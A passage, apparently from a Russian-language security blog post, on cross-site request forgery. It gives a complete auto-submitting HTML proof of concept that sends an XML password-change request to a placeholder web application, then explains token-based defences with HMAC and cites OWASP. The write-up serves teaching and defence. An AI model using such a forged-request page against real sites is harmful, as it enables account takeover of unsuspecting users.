<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="https://webapp.domain.tld/" enctype="text/plain">
<input type="hidden" name='<?xml version' value='"1.0"?>
<request>
<changepassword>
<password>newpass</password>
</changepassword>
</request>
'>
</form>
</body>
</html>
Защититься просто. На каждый запрос надо передавать серверу некий csrf token, т.е. простыми словами, подписывать каждый запрос, при котором токен будет каждый раз разным. Для генерирования токена можно воспользоваться HMAC, т.е. шифровать по паролю, например, login+user_id+timestamp.
Инструментарий:
Прокси-сервер, на который можно завернуть трафик для исследования — Burb Suite.
Источники:
OWASP: Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery – много шума из-за ничего (С.Городейчик)
Habrahabr: статейный тег xsrf
Комментариев нет:
Отправить комментарий